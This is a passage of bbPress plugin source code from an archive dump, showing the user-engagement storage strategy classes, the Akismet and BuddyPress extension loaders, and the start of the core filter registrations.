	public function remove_user_from_object( $object_id = 0, $user_id = 0, $meta_key = '', $meta_type = 'post' ) {
		return delete_metadata( $meta_type, $object_id, $meta_key, $user_id, false );
	}

	/**
	 * Remove a user id from all objects
	 *
	 * @since 2.6.0 bbPress (r6722)
	 *
	 * @param int    $user_id   The user id
	 * @param string $meta_key  The relationship key
	 * @param string $meta_type The relationship type (usually 'post')
	 *
	 * @return bool Returns true on success, false on failure
	 */
	public function remove_user_from_all_objects( $user_id = 0, $meta_key = '', $meta_type = 'post' ) {
		return delete_metadata( $meta_type, null, $meta_key, $user_id, true );
	}

	/**
	 * Remove an object from all users
	 *
	 * @since 2.6.0 bbPress (r6722)
	 *
	 * @param int    $object_id The object id
	 * @param int    $user_id   The user id
	 * @param string $meta_key  The relationship key
	 * @param string $meta_type The relationship type (usually 'post')
	 *
	 * @return bool Returns true on success, false on failure
	 */
	public function remove_object_from_all_users( $object_id = 0, $meta_key = '', $meta_type = 'post' ) {
		return delete_metadata( $meta_type, $object_id, $meta_key, null, false );
	}

	/**
	 * Remove all users from all objects
	 *
	 * @since 2.6.0 bbPress (r6722)
	 *
	 * @param string $meta_key  The relationship key
	 * @param string $meta_type The relationship type (usually 'post')
	 *
	 * @return bool Returns true on success, false on failure
	 */
	public function remove_all_users_from_all_objects( $meta_key = '', $meta_type = 'post' ) {
		return delete_metadata( $meta_type, null, $meta_key, null, true );
	}

	/**
	 * Get users of an object
	 *
	 * @since 2.6.0 bbPress (r6722)
	 *
	 * @param int    $object_id The object id
	 * @param string $meta_key  The key used to index this relationship
	 * @param string $meta_type The type of meta to look in
	 *
	 * @return array Returns ids of users
	 */
	public function get_users_for_object( $object_id = 0, $meta_key = '', $meta_type = 'post' ) {
		return wp_parse_id_list( get_metadata( $meta_type, $object_id, $meta_key, false ) );
	}

	/**
	 * Get the part of the query responsible for JOINing objects to relationships.
	 *
	 * @since 2.6.0 bbPress (r6737)
	 *
	 * @param array  $args
	 * @param string $meta_key
	 * @param string $meta_type
	 *
	 * @return array
	 */
	public function get_query( $args = array(), $context_key = '', $meta_key = '', $meta_type = 'post' ) {

		// Backwards compat for pre-2.6.0
		if ( is_numeric( $args ) ) {
			$args = array(
				'meta_query' => array( array(
					'key'     => $meta_key,
					'value'   => bbp_get_user_id( $args, false, false ),
					'compare' => 'NUMERIC'
				) )
			);
		}

		// Default arguments
		$defaults = array(
			'meta_query' => array( array(
				'key'     => $meta_key,
				'value'   => bbp_get_displayed_user_id(),
				'compare' => 'NUMERIC'
			) )
		);

		// Parse arguments
		return bbp_parse_args( $args, $defaults, $context_key );
	}
}

/**
 * Term strategy for interfacing with User Engagements
 *
 * @since 2.6.0 bbPress (r6737)
 */
class BBP_User_Engagements_Term extends BBP_User_Engagements_Base {

	/**
	 * Type of strategy being used.
	 *
	 * @since 2.6.0 bbPress (r6737)
	 *
	 * @var string
	 */
	public $type = 'term';

	/**
	 * Register an engagement taxonomy just-in-time for immediate use
	 *
	 * @since 2.6.0 bbPress (r6737)
	 *
	 * @param string $tax_key
	 * @param string $object_type
	 */
	private function jit_taxonomy( $tax_key = '', $object_type = 'user' ) {

		// Bail if taxonomy already exists
		if ( taxonomy_exists( $tax_key ) ) {
			return;
		}

		// Register the taxonomy
		register_taxonomy( $tax_key, 'bbp_' . $object_type, array(
			'labels'                => array(),
			'description'           => '',
			'public'                => false,
			'publicly_queryable'    => false,
			'hierarchical'          => false,
			'show_ui'               => false,
			'show_in_menu'          => false,
			'show_in_nav_menus'     => false,
			'show_tagcloud'         => false,
			'show_in_quick_edit'    => false,
			'show_admin_column'     => false,
			'meta_box_cb'           => false,
			'capabilities'          => array(),
			'rewrite'               => false,
			'query_var'             => '',
			'update_count_callback' => '',
			'show_in_rest'          => false,
			'rest_base'             => false,
			'rest_controller_class' => false,
			'_builtin'              => false
		) );
	}

	/**
	 * Add a user id to an object
	 *
	 * @since 2.6.0 bbPress (r6737)
	 *
	 * @param int    $object_id The object id
	 * @param int    $user_id   The user id
	 * @param string $meta_key  The relationship key
	 * @param string $meta_type The relationship type (usually 'post')
	 * @param bool   $unique    Whether meta key should be unique to the object
	 *
	 * @return bool Returns true on success, false on failure
	 */
	public function add_user_to_object( $object_id = 0, $user_id = 0, $meta_key = '', $meta_type = 'post', $unique = false ) {
		$user_key = "{$meta_key}_user_id_{$user_id}";
		$tax_key  = "{$meta_key}_{$meta_type}";
		$this->jit_taxonomy( $tax_key );

		return wp_add_object_terms( $object_id, $user_key, $tax_key );
	}

	/**
	 * Remove a user id from an object
	 *
	 * @since 2.6.0 bbPress (r6737)
	 *
	 * @param int    $object_id The object id
	 * @param int    $user_id   The user id
	 * @param string $meta_key  The relationship key
	 * @param string $meta_type The relationship type (usually 'post')
	 *
	 * @return bool Returns true on success, false on failure
	 */
	public function remove_user_from_object( $object_id = 0, $user_id = 0, $meta_key = '', $meta_type = 'post' ) {
		$user_key = "{$meta_key}_user_id_{$user_id}";
		$tax_key  = "{$meta_key}_{$meta_type}";
		$this->jit_taxonomy( $tax_key );

		return wp_remove_object_terms( $object_id, $user_key, $tax_key );
	}

	/**
	 * Remove a user id from all objects
	 *
	 * @since 2.6.0 bbPress (r6737)
	 *
	 * @param int    $user_id   The user id
	 * @param string $meta_key  The relationship key
	 * @param string $meta_type The relationship type (usually 'post')
	 *
	 * @return bool Returns true on success, false on failure
	 */
	public function remove_user_from_all_objects( $user_id = 0, $meta_key = '', $meta_type = 'post' ) {
		$user_key = "{$meta_key}_user_id_{$user_id}";
		$tax_key  = "{$meta_key}_{$meta_type}";
		$this->jit_taxonomy( $tax_key );
		$term     = get_term_by( 'slug', $user_key, $tax_key );

		return wp_delete_term( $term->term_id, $tax_key );
	}

	/**
	 * Remove an object from all users
	 *
	 * @since 2.6.0 bbPress (r6737)
	 *
	 * @param int    $object_id The object id
	 * @param int    $user_id   The user id
	 * @param string $meta_key  The relationship key
	 * @param string $meta_type The relationship type (usually 'post')
	 *
	 * @return bool Returns true on success, false on failure
	 */
	public function remove_object_from_all_users( $object_id = 0, $meta_key = '', $meta_type = 'post' ) {
		return wp_delete_object_term_relationships( $object_id, get_object_taxonomies( 'bbp_user' ) );
	}

	/**
	 * Remove all users from all objects
	 *
	 * @since 2.6.0 bbPress (r6737)
	 *
	 * @param string $meta_key  The relationship key
	 * @param string $meta_type The relationship type (usually 'post')
	 *
	 * @return bool Returns true on success, false on failure
	 */
	public function remove_all_users_from_all_objects( $meta_key = '', $meta_type = 'post' ) {
		// TODO
	}

	/**
	 * Get users of an object
	 *
	 * @since 2.6.0 bbPress (r6737)
	 *
	 * @param int    $object_id The object id
	 * @param string $meta_key  The key used to index this relationship
	 * @param string $meta_type The type of meta to look in
	 *
	 * @return array Returns ids of users
	 */
	public function get_users_for_object( $object_id = 0, $meta_key = '', $meta_type = 'post' ) {
		$user_key = "{$meta_key}_user_id_";
		$tax_key  = "{$meta_key}_{$meta_type}";
		$this->jit_taxonomy( $tax_key );

		// Get terms
		$terms = get_terms( array(
			'object_ids' => $object_id,
			'taxonomy'   => $tax_key
		) );

		// Slug part to replace
		$user_ids = array();

		// Loop through terms and get the user ID
		foreach ( $terms as $term ) {
			$user_ids[] = str_replace( $user_key, '', $term->slug );
		}

		// Parse & return
		return wp_parse_id_list( $user_ids );
	}

	/**
	 * Get the part of the query responsible for JOINing objects to relationships.
	 *
	 * @since 2.6.0 bbPress (r6737)
	 *
	 * @param array  $args
	 * @param string $meta_key
	 * @param string $meta_type
	 *
	 * @return array
	 */
	public function get_query( $args = array(), $context_key = '', $meta_key = '', $meta_type = 'post' ) {
		$tax_key  = "{$meta_key}_{$meta_type}";
		$user_key = "{$meta_key}_user_id_";

		// Make sure the taxonomy is registered
		$this->jit_taxonomy( $tax_key );

		// Backwards compat for pre-2.6.0
		if ( is_numeric( $args ) ) {
			$args = array(
				'tax_query' => array( array(
					'taxonomy' => $tax_key,
					'terms'    => $user_key . bbp_get_user_id( $args, false, false ),
					'field'    => 'slug'
				) )
			);
		}

		// Default arguments
		$defaults = array(
			'tax_query' => array( array(
				'taxonomy' => $tax_key,
				'terms'    => $user_key . bbp_get_displayed_user_id(),
				'field'    => 'slug'
			) )
		);

		// Parse arguments
		return bbp_parse_args( $args, $defaults, $context_key );
	}
}

/**
 * User strategy for interfacing with User Engagements
 *
 * This strategy largely exists for backwards compatibility with bbPress 2.5,
 * or installations that have not upgraded their databases to 2.6 or above.
 *
 * Note: this strategy is going to be a bit less tidy than the others, because
 * it needs to do weird things to maintain the 2.5 status-quo. Do not use this
 * strategy as an example when building your own.
 *
 * @since 2.6.0 bbPress (r6844)
 */
class BBP_User_Engagements_User extends BBP_User_Engagements_Base {

	/**
	 * Type of strategy being used.
	 *
	 * @since 2.6.0 bbPress (r6844)
	 *
	 * @var string
	 */
	public $type = 'user';

	/**
	 * Private function to map 2.6 meta keys to 2.5 user-option keys.
	 *
	 * @since 2.6.0 bbPress (r6844)
	 *
	 * @param string $meta_key
	 * @param int    $object_id
	 * @param bool   $prefix
	 *
	 * @return string
	 */
	private function get_user_option_key( $meta_key = '', $object_id = 0, $prefix = false ) {
		switch ( $meta_key ) {

			// Favorites
			case '_bbp_favorite' :
				$key = '_bbp_favorites';
				break;

			// Subscriptions
			case '_bbp_subscription' :

				// Maybe guess at post type
				$post_type = ! empty( $object_id )
					? get_post_type( $object_id )
					: bbp_get_topic_post_type();

				// Forums & Topics used different keys :/
				$key = ( bbp_get_forum_post_type() === $post_type )
					? '_bbp_forum_subscriptions'
					: '_bbp_subscriptions';

				break;

			// Unknown, so pluralize
			default :
				$key = "{$meta_key}s";
				break;
		}

		// Maybe prefix the key (for use in raw database queries)
		if ( true === $prefix ) {
			$key = bbp_db()->get_blog_prefix() . $key;
		}

		// Return the old (pluralized) user option key
		return $key;
	}

	/**
	 * Private function to get a 2.5 compatible cache key.
	 *
	 * This method exists to provide backwards compatibility with bbPress 2.5,
	 * which had caching surrounding the FIND_IN_SET usermeta queries.
	 *
	 * @since 2.6.3 bbPress (r6991)
	 *
	 * @param string $meta_key
	 * @param int    $object_id
	 *
	 * @return string
	 */
	private function get_cache_key( $meta_key = '', $object_id = 0 ) {

		// No negative numbers in cache keys (zero is weird, but not disallowed)
		$object_id = absint( $object_id );

		// Maybe guess at post type
		$post_type = ! empty( $object_id )
			? get_post_type( $object_id )
			: bbp_get_topic_post_type();

		switch ( $meta_key ) {

			// Favorites
			case '_bbp_favorite' :
				$key = 'bbp_get_topic_favoriters_';
				break;

			// Subscriptions
			case '_bbp_subscription' :

				// Forums & Topics used different keys :/
				$key = ( bbp_get_forum_post_type() === $post_type )
					? 'bbp_get_forum_subscribers_'
					: 'bbp_get_topic_subscribers_';

				break;

			// Unknown, so pluralize
			default :
				$nounize = rtrim( $meta_key, 'e' );
				$key     = "bbp_get_{$post_type}_{$nounize}ers_";
				break;
		}

		// Return the old (pluralized) user option key with object ID appended
		return "{$key}{$object_id}";
	}

	/**
	 * Get the user engagement cache for a given meta key and object ID.
	 *
	 * This method exists to provide backwards compatibility with bbPress 2.5,
	 * which had caching surrounding the FIND_IN_SET queries in usermeta.
	 *
	 * @since 2.6.3 bbPress (r6991)
	 *
	 * @param string $meta_key
	 * @param int    $object_id
	 *
	 * @return mixed Results from cache get
	 */
	private function cache_get( $meta_key = '', $object_id = 0 ) {
		$cache_key = $this->get_cache_key( $meta_key, $object_id );

		return wp_cache_get( $cache_key, 'bbpress_engagements' );
	}

	/**
	 * Set the user engagement cache for a given meta key and object ID.
	 *
	 * This method exists to provide backwards compatibility with bbPress 2.5,
	 * which had caching surrounding the FIND_IN_SET queries in usermeta.
	 *
	 * @since 2.6.3 bbPress (r6991)
	 *
	 * @param string $meta_key
	 * @param int    $object_id
	 *
	 * @return mixed Results from cache set
	 */
	private function cache_set( $meta_key = '', $object_id = 0, $user_ids = array() ) {
		$cache_key = $this->get_cache_key( $meta_key, $object_id );
		$user_ids  = $this->parse_comma_list( $user_ids );

		return wp_cache_set( $cache_key, $user_ids, 'bbpress_engagements' );
	}

	/**
	 * Delete the user engagement cache for a given meta key and object ID.
	 *
	 * This method exists to provide backwards compatibility with bbPress 2.5,
	 * which had caching surrounding the FIND_IN_SET queries in usermeta.
	 *
	 * @since 2.6.3 bbPress (r6991)
	 *
	 * @param string $meta_key
	 * @param int    $object_id
	 *
	 * @return mixed Results from cache delete
	 */
	private function cache_delete( $meta_key = '', $object_id = 0 ) {
		$cache_key = $this->get_cache_key( $meta_key, $object_id );

		return wp_cache_delete( $cache_key, 'bbpress_engagements' );
	}

	/**
	 * Turn a comma-separated string into an array of integers
	 *
	 * @since 2.6.0 bbPress (r6844)
	 *
	 * @param string $results
	 * @return array
	 */
	private function parse_comma_list( $results = '' ) {
		return array_filter( wp_parse_id_list( $results ) );
	}

	/**
	 * Add a user id to an object
	 *
	 * @since 2.6.0 bbPress (r6844)
	 *
	 * @param int    $object_id The object id
	 * @param int    $user_id   The user id
	 * @param string $meta_key  The relationship key
	 * @param string $meta_type The relationship type (usually 'post')
	 * @param bool   $unique    Whether meta key should be unique to the object
	 *
	 * @return bool Returns true on success, false on failure
	 */
	public function add_user_to_object( $object_id = 0, $user_id = 0, $meta_key = '', $meta_type = 'post', $unique = false ) {
		$retval     = false;
		$option_key = $this->get_user_option_key( $meta_key, $object_id );
		$object_ids = $this->parse_comma_list( get_user_option( $option_key, $user_id ) );
		$exists     = array_search( $object_id, $object_ids );

		// Not already added, so add it
		if ( false === $exists ) {
			$object_ids[] = $object_id;
			$object_ids   = implode( ',', $this->parse_comma_list( $object_ids ) );
			$retval       = update_user_option( $user_id, $option_key, $object_ids );

			// Delete cache if successful (accounts for int & true)
			if ( false !== $retval ) {
				$this->cache_delete( $meta_key, $object_id );
			}
		}

		// Return true if added, or false if not
		return $retval;
	}

	/**
	 * Remove a user id from an object
	 *
	 * @since 2.6.0 bbPress (r6844)
	 *
	 * @param int    $object_id The object id
	 * @param int    $user_id   The user id
	 * @param string $meta_key  The relationship key
	 * @param string $meta_type The relationship type (usually 'post')
	 *
	 * @return bool Returns true on success, false on failure
	 */
	public function remove_user_from_object( $object_id = 0, $user_id = 0, $meta_key = '', $meta_type = 'post' ) {
		$retval     = false;
		$option_key = $this->get_user_option_key( $meta_key, $object_id );
		$object_ids = $this->parse_comma_list( get_user_option( $option_key, $user_id ) );
		$exists     = array_search( $object_id, $object_ids );

		// Exists, so remove it
		if ( false !== $exists ) {
			unset( $object_ids[ $exists ] );

			$object_ids = implode( ',', $this->parse_comma_list( $object_ids ) );
			$retval     = ! empty( $object_ids )
				? update_user_option( $user_id, $option_key, $object_ids )
				: delete_user_option( $user_id, $option_key );

			// Delete cache if successful (accounts for int & true)
			if ( false !== $retval ) {
				$this->cache_delete( $meta_key, $object_id );
			}
		}

		// Return true if removed, or false if not
		return $retval;
	}

	/**
	 * Remove a user id from all objects
	 *
	 * @since 2.6.0 bbPress (r6844)
	 *
	 * @param int    $user_id   The user id
	 * @param string $meta_key  The relationship key
	 * @param string $meta_type The relationship type (usually 'post')
	 *
	 * @return bool Returns true on success, false on failure
	 */
	public function remove_user_from_all_objects( $user_id = 0, $meta_key = '', $meta_type = 'post' ) {

		// Get the key
		$option_key = $this->get_user_option_key( $meta_key );

		// Get the option
		$object_ids = $this->parse_comma_list( get_user_option( $option_key, $user_id ) );

		// Attempt to delete the user option
		$retval = delete_user_option( $user_id, $option_key );

		// Try to delete caches, but only if everything else succeeded
		if ( ! empty( $retval ) && ! empty( $object_ids ) ) {
			foreach ( $object_ids as $object_id ) {
				$this->cache_delete( $meta_key, $object_id );
			}
		}

		// Return true if user was removed, or false if not
		return $retval;
	}

	/**
	 * Remove an object from all users
	 *
	 * @since 2.6.0 bbPress (r6844)
	 *
	 * @param int    $object_id The object id
	 * @param int    $user_id   The user id
	 * @param string $meta_key  The relationship key
	 * @param string $meta_type The relationship type (usually 'post')
	 *
	 * @return bool Returns true on success, false on failure
	 */
	public function remove_object_from_all_users( $object_id = 0, $meta_key = '', $meta_type = 'post' ) {

		// Query for users
		$user_ids = $this->get_users_for_object( $object_id, $meta_key, $meta_type );
		$u_count  = count( $user_ids );

		// Count number of removals
		$removed  = array();
		$r_count  = 0;

		// Users have engaged, so remove them
		if ( ! empty( $u_count ) ) {

			// Loop through users and remove them from the object
			foreach ( $user_ids as $user_id ) {
				$removed[] = $this->remove_user_from_object( $object_id, $user_id, $meta_key, $meta_type );
			}

			// Count the removed users
			$r_count = count( $removed );
		}

		// Return true if successfully removed from all users
		return ( $r_count === $u_count );
	}

	/**
	 * Remove all users from all objects
	 *
	 * @since 2.6.0 bbPress (r6844)
	 *
	 * @param string $meta_key  The relationship key
	 * @param string $meta_type The relationship type (usually 'post')
	 *
	 * @return bool Returns true on success, false on failure
	 */
	public function remove_all_users_from_all_objects( $meta_key = '', $meta_type = 'post' ) {

		// Query for users
		$option_key = $this->get_user_option_key( $meta_key, 0, true );
		$bbp_db     = bbp_db();
		$user_ids   = $bbp_db->get_col( "SELECT user_id FROM {$bbp_db->usermeta} WHERE meta_key = '{$option_key}'" );
		$u_count    = count( $user_ids );

		// Count number of removals
		$removed    = array();
		$r_count    = 0;

		// Users have engaged, so remove them
		if ( ! empty( $u_count ) ) {

			// Loop through users and remove their user options
			foreach ( $user_ids as $user_id ) {
				$removed[] = $this->remove_user_from_all_objects( $user_id, $meta_key );
			}

			// Count the removed users
			$r_count = count( $removed );
		}

		// Return true if successfully removed from all users
		return ( $r_count === $u_count );
	}

	/**
	 * Get users of an object
	 *
	 * The database queries in this function were cached in bbPress versions
	 * older than 2.6, but no longer are to avoid cache pollution.
	 *
	 * @since 2.6.0 bbPress (r6844)
	 *
	 * @param int    $object_id The object id
	 * @param string $meta_key  The key used to index this relationship
	 * @param string $meta_type The type of meta to look in
	 *
	 * @return array Returns ids of users
	 */
	public function get_users_for_object( $object_id = 0, $meta_key = '', $meta_type = 'post' ) {

		// Try to get user IDs from cache
		$user_ids = $this->cache_get( $meta_key, $object_id );

		// Cache is empty, so hit the database
		if ( false === $user_ids ) {
			$option_key = $this->get_user_option_key( $meta_key, $object_id, true );
			$bbp_db     = bbp_db();
			$user_ids   = $bbp_db->get_col( "SELECT user_id FROM {$bbp_db->usermeta} WHERE meta_key = '{$option_key}' and FIND_IN_SET('{$object_id}', meta_value) > 0" );

			// Always cache results (even if empty, to prevent multiple misses)
			$this->cache_set( $meta_key, $object_id, $user_ids );
		}

		// Return parsed IDs
		return $this->parse_comma_list( $user_ids );
	}

	/**
	 * Get the part of the query responsible for JOINing objects to relationships.
	 *
	 * @since 2.6.0 bbPress (r6844)
	 *
	 * @param array  $args
	 * @param string $meta_key
	 * @param string $meta_type
	 *
	 * @return array
	 */
	public function get_query( $args = array(), $context_key = '', $meta_key = '', $meta_type = 'post' ) {
		$user_id    = bbp_get_user_id( $args, true, true );
		$option_key = $this->get_user_option_key( $meta_key );
		$object_ids = $this->parse_comma_list( get_user_option( $option_key, $user_id ) );

		// Maybe trick WP_Query into ".ID IN (0)" to return no results
		if ( empty( $object_ids ) ) {
			$object_ids = array( 0 );
		}

		// Maybe include these post IDs
		$args = array(
			'post__in' => $object_ids
		);

		// Parse arguments
		return bbp_parse_args( $args, array(), $context_key );
	}
}
includes/core/extend.php000066600000003124151771460310011313 0ustar00<?php

/**
 * bbPress Extentions
 *
 * There's a world of really cool plugins out there, and bbPress comes with
 * support for some of the most popular ones.
 *
 * @package bbPress
 * @subpackage Extend
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/**
 * Loads Akismet inside the bbPress global class
 *
 * @since 2.0.0 bbPress (r3277)
 *
 * @return If bbPress is not active
 */
function bbp_setup_akismet() {

	// Bail if no akismet
	if ( ! defined( 'AKISMET_VERSION' ) ) {
		return;
	}

	// Bail if Akismet is turned off
	if ( ! bbp_is_akismet_active() ) {
		return;
	}

	// Include the Akismet Component
	require_once bbpress()->includes_dir . 'extend/akismet.php';

	// Instantiate Akismet for bbPress
	bbpress()->extend->akismet = new BBP_Akismet();
}

/**
 * Requires and creates the BuddyPress extension, and adds component creation
 * action to bp_init hook. @see bbp_setup_buddypress_component()
 *
 * @since 2.0.0 bbPress (r3395)
 *
 * @return If BuddyPress is not active
 */
function bbp_setup_buddypress() {

	if ( ! function_exists( 'buddypress' ) ) {

		/**
		 * Helper for BuddyPress 1.6 and earlier
		 *
		 * @since 2.2.0 bbPress (r4395)
		 *
		 * @return BuddyPress
		 */
		function buddypress() {
			return isset( $GLOBALS['bp'] ) ? $GLOBALS['bp'] : false;
		}
	}

	// Bail if in maintenance mode
	if ( ! buddypress() || buddypress()->maintenance_mode ) {
		return;
	}

	// Include the BuddyPress Component
	require_once bbpress()->includes_dir . 'extend/buddypress/loader.php';

	// Instantiate BuddyPress for bbPress
	bbpress()->extend->buddypress = new BBP_Forums_Component();
}
includes/core/filters.php000066600000047074151771460310011510 0ustar00<?php

/**
 * bbPress Filters
 *
 * This file contains the filters that are used through-out bbPress. They are
 * consolidated here to make searching for them easier, and to help developers
 * understand at a glance the order in which things occur.
 *
 * There are a few common places that additional filters can currently be found
 *
 *  - bbPress: In {@link bbPress::setup_actions()} in bbpress.php
 *  - Admin: More in {@link BBP_Admin::setup_actions()} in admin.php
 *
 * @package bbPress
 * @subpackage Core
 *
 * @see /core/actions.php
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/**
 * Attach bbPress to WordPress
 *
 * bbPress uses its own internal actions to help aid in third-party plugin
 * development, and to limit the amount of potential future code changes when
 * updates to WordPress core occur.
 *
 * These actions exist to create the concept of 'plugin dependencies'. They
 * provide a safe way for plugins to execute code *only* when bbPress is
 * installed and activated, without needing to do complicated guesswork.
 *
 * For more information on how this works, see the 'Plugin Dependency' section
 * near the bottom of this file.
 *
 *           v--WordPress Actions       v--bbPress Sub-actions
 */
add_filter( 'request',                 'bbp_request',            10    );
add_filter( 'template_include',        'bbp_template_include',   10    );
add_filter( 'wp_mail',                 'bbp_mail',               10, 3 );
add_filter( 'wp_title',                'bbp_title',              10, 3 );
add_filter( 'body_class',              'bbp_body_class',         10, 2 );
add_filter( 'map_meta_cap',            'bbp_map_meta_caps',      10, 4 );
add_filter( 'allowed_themes',          'bbp_allowed_themes',     10    );
add_filter( 'redirect_canonical',      'bbp_redirect_canonical', 10    );
add_filter( 'login_redirect',          'bbp_redirect_login',     2,  3 );
add_filter( 'logout_url',              'bbp_logout_url',         2,  2 );
add_filter( 'plugin_locale',           'bbp_plugin_locale',      10, 2 );

// Fix post author id for anonymous posts (set it back to 0) when the post status is changed
add_filter( 'wp_insert_post_data', 'bbp_fix_post_author', 30, 2 );

// Force comments_status on bbPress post types
add_filter( 'comments_open', 'bbp_force_comment_status' );

// Remove forums roles from list of all roles
add_filter( 'editable_roles', 'bbp_filter_blog_editable_roles' );

// Reply title fallback
add_filter( 'the_title', 'bbp_get_reply_title_fallback', 2, 2 );

// Avoid queries & 404s
add_filter( 'pre_handle_404',  'bbp_pre_handle_404',  10, 2 );
add_action( 'posts_pre_query', 'bbp_posts_pre_query', 10, 2 );

// User Creation
add_filter( 'signup_user_meta', 'bbp_user_add_role_to_signup_meta', 10 );

/**
 * Emails
 *
 * bbPress sends emails for a few different reasons, largely related to user
 * notifications or account changes. Because the `wp_mail` filter can be a
 * crowded space, the `bbp_mail` subfilter should be used in conjunction with
 * bbp_get_email_header() to narrow the results to only bbPress emails.
 */
add_filter( 'bbp_mail', 'bbp_chunk_emails' );

/**
 * Feeds
 *
 * bbPress comes with a number of custom RSS2 feeds that get handled outside
 * the normal scope of feeds that WordPress would normally serve. To do this,
 * we filter every page request, listen for a feed request, and trap it.
 */
add_filter( 'bbp_request', 'bbp_request_feed_trap' );

/**
 * Template Compatibility
 *
 * If you want to completely bypass this and manage your own custom bbPress
 * template hierarchy, start here by removing this filter, then look at how
 * bbp_template_include() works and do something similar. :)
 */
add_filter( 'bbp_template_include', 'bbp_template_include_theme_supports', 2, 1 );
add_filter( 'bbp_template_include', 'bbp_template_include_theme_compat',   4, 2 );

// Filter bbPress template locations
add_filter( 'bbp_get_template_stack', 'bbp_add_template_stack_locations' );

// Links
add_filter( 'paginate_links',          'bbp_add_view_all' );
add_filter( 'bbp_get_topic_permalink', 'bbp_add_view_all' );
add_filter( 'bbp_get_reply_permalink', 'bbp_add_view_all' );
add_filter( 'bbp_get_forum_permalink', 'bbp_add_view_all' );

// wp_filter_kses on new/edit forum/topic/reply title
add_filter( 'bbp_new_forum_pre_title',  'wp_filter_kses' );
add_filter( 'bbp_new_reply_pre_title',  'wp_filter_kses' );
add_filter( 'bbp_new_topic_pre_title',  'wp_filter_kses' );
add_filter( 'bbp_edit_forum_pre_title', 'wp_filter_kses' );
add_filter( 'bbp_edit_reply_pre_title', 'wp_filter_kses' );
add_filter( 'bbp_edit_topic_pre_title', 'wp_filter_kses' );

// Prevent posting malicious or malformed content on new/edit topic/reply
add_filter( 'bbp_new_reply_pre_content',  'bbp_encode_bad',  10 );
add_filter( 'bbp_new_reply_pre_content',  'bbp_code_trick',  20 );
add_filter( 'bbp_new_reply_pre_content',  'bbp_filter_kses', 30 );
add_filter( 'bbp_new_reply_pre_content',  'balanceTags',     40 );
add_filter( 'bbp_new_topic_pre_content',  'bbp_encode_bad',  10 );
add_filter( 'bbp_new_topic_pre_content',  'bbp_code_trick',  20 );
add_filter( 'bbp_new_topic_pre_content',  'bbp_filter_kses', 30 );
add_filter( 'bbp_new_topic_pre_content',  'balanceTags',     40 );
add_filter( 'bbp_new_forum_pre_content',  'bbp_encode_bad',  10 );
add_filter( 'bbp_new_forum_pre_content',  'bbp_code_trick',  20 );
add_filter( 'bbp_new_forum_pre_content',  'bbp_filter_kses', 30 );
add_filter( 'bbp_new_forum_pre_content',  'balanceTags',     40 );
add_filter( 'bbp_edit_reply_pre_content', 'bbp_encode_bad',  10 );
add_filter( 'bbp_edit_reply_pre_content', 'bbp_code_trick',  20 );
add_filter( 'bbp_edit_reply_pre_content', 'bbp_filter_kses', 30 );
add_filter( 'bbp_edit_reply_pre_content', 'balanceTags',     40 );
add_filter( 'bbp_edit_topic_pre_content', 'bbp_encode_bad',  10 );
add_filter( 'bbp_edit_topic_pre_content', 'bbp_code_trick',  20 );
add_filter( 'bbp_edit_topic_pre_content', 'bbp_filter_kses', 30 );
add_filter( 'bbp_edit_topic_pre_content', 'balanceTags',     40 );
add_filter( 'bbp_edit_forum_pre_content', 'bbp_encode_bad',  10 );
add_filter( 'bbp_edit_forum_pre_content', 'bbp_code_trick',  20 );
add_filter( 'bbp_edit_forum_pre_content', 'bbp_filter_kses', 30 );
add_filter( 'bbp_edit_forum_pre_content', 'balanceTags',     40 );

// No follow and wp_unslash on links
add_filter( 'bbp_get_reply_author_link',      'bbp_rel_nofollow' );
add_filter( 'bbp_get_reply_author_link',      'wp_unslash'       );
add_filter( 'bbp_get_reply_to_link',          'bbp_rel_nofollow' );
add_filter( 'bbp_get_reply_to_link',          'wp_unslash'       );
add_filter( 'bbp_get_topic_author_link',      'bbp_rel_nofollow' );
add_filter( 'bbp_get_topic_author_link',      'wp_unslash'       );
add_filter( 'bbp_get_topic_reply_link',       'bbp_rel_nofollow' );
add_filter( 'bbp_get_topic_reply_link',       'wp_unslash'       );
add_filter( 'bbp_get_user_favorites_link',    'bbp_rel_nofollow' );
add_filter( 'bbp_get_user_favorites_link',    'wp_unslash'       );
add_filter( 'bbp_get_user_subscribe_link',    'bbp_rel_nofollow' );
add_filter( 'bbp_get_user_subscribe_link',    'wp_unslash'       );
add_filter( 'bbp_get_user_profile_link',      'bbp_rel_nofollow' );
add_filter( 'bbp_get_user_profile_link',      'wp_unslash'       );
add_filter( 'bbp_get_user_profile_edit_link', 'bbp_rel_nofollow' );
add_filter( 'bbp_get_user_profile_edit_link', 'wp_unslash'       );
add_filter( 'bbp_get_cancel_reply_to_link',   'bbp_rel_nofollow' );
add_filter( 'bbp_get_cancel_reply_to_link',   'wp_unslash'       );

// Run filters on reply content
add_filter( 'bbp_get_reply_content', 'wptexturize',        6  );
add_filter( 'bbp_get_reply_content', 'convert_chars',      8  );
add_filter( 'bbp_get_reply_content', 'capital_P_dangit',   10 );
add_filter( 'bbp_get_reply_content', 'convert_smilies',    20 );
add_filter( 'bbp_get_reply_content', 'force_balance_tags', 30 );
add_filter( 'bbp_get_reply_content', 'bbp_make_clickable', 40 );
add_filter( 'bbp_get_reply_content', 'wpautop',            50 );
add_filter( 'bbp_get_reply_content', 'bbp_rel_nofollow',   60 );

// Run filters on topic content
add_filter( 'bbp_get_topic_content', 'wptexturize',        6  );
add_filter( 'bbp_get_topic_content', 'convert_chars',      8  );
add_filter( 'bbp_get_topic_content', 'capital_P_dangit',   10 );
add_filter( 'bbp_get_topic_content', 'convert_smilies',    20 );
add_filter( 'bbp_get_topic_content', 'force_balance_tags', 30 );
add_filter( 'bbp_get_topic_content', 'bbp_make_clickable', 40 );
add_filter( 'bbp_get_topic_content', 'wpautop',            50 );
add_filter( 'bbp_get_topic_content', 'bbp_rel_nofollow',   60 );

// Admin-only
if ( is_admin() ) {

	// Run wp_kses_data on topic/reply content in admin section
	add_filter( 'bbp_get_reply_content', 'bbp_kses_data' );
	add_filter( 'bbp_get_topic_content', 'bbp_kses_data' );

// Filters outside of wp-admin
} else {

	// WordPress 5.5.x and above
	if ( function_exists( 'wp_filter_content_tags' ) ) {

		// Responsive images
		add_filter( 'bbp_get_reply_content', 'wp_filter_content_tags', 60 );
		add_filter( 'bbp_get_topic_content', 'wp_filter_content_tags', 60 );

	// WordPress 5.4.x and below
	} else {

		// Responsive images
		add_filter( 'bbp_get_reply_content', 'wp_make_content_images_responsive', 60 );
		add_filter( 'bbp_get_topic_content', 'wp_make_content_images_responsive', 60 );
